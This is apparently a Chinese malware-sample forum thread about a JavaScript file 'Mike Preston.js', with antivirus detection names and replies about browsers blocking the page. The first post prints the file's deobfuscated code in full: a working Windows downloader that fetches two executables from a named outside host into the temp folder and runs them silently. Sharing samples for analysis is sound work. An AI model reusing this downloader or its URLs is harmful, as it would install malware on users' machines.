Mike Preston.js

轩夏

SHA256:         db0dcfd7399fcfea3176958a5473f9bfe1f22c14693d245e564565ad66b66f72
文件名：        Mike Preston.js
检出率：         4 / 55
分析日期：         2016-01-11 23:55:59 UTC ( 8 小时 前 )
https://www.virustotal.com/zh-cn ... d66b66f72/analysis/

AVG         JS/Downloader.Small         20160111
ESET-NOD32         JS/Kryptik.AZB         20160112
McAfee         JS/Nemucod.ax         20160112
Sophos         Troj/JSAgent-GN         20160112



对代码进行解密
function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch(er) {};
}
dl("http://figineon.com/img/script.php?dcm1.jpg", "5574922.exe", 1);
dl("http://figineon.com/img/script.php?dcm2.jpg", "3373115.exe", 1);

代码结尾的 jpg 谁能下载，发出来

绅博周幸

Bitdefender blocked this page
The page you are trying to access contains Trojan.GenericKD.2979595.

This page is blocked by Bitdefender Antimalware filter.

liu浪的人

Chrome拦截

绅博周幸

liu浪的人 发表于 2016-1-12 16:06
Chrome拦截

google已经把就卡饭样本区拉黑了，请用其他浏览器下

liu浪的人

绅博周幸 发表于 2016-1-12 17:36
google已经把就卡饭样本区拉黑了，请用其他浏览器下

可是我用Chrome下载其他样本的时候一个都没有拦截

心痛的伤不起

liu浪的人 发表于 2016-1-12 17:40
可是我用Chrome下载其他样本的时候一个都没有拦截

我的怎么没拦

liu浪的人

y3312068 发表于 2016-1-12 18:08
我的怎么没拦

这个可能是网络原因吧，我也不清楚google被 q i a n g了之后对这个有没有影响。

275751198

360并不认识

xiaofeizei

liu浪的人 发表于 2016-1-12 18:50
这个可能是网络原因吧，我也不清楚google被 q i a n g了之后对这个有没有影响。

绝对有影响，架了梯子就拦了

liu浪的人

xiaofeizei 发表于 2016-1-12 20:53
绝对有影响，架了梯子就拦了

可是拦截的时候，我并没有架梯子啊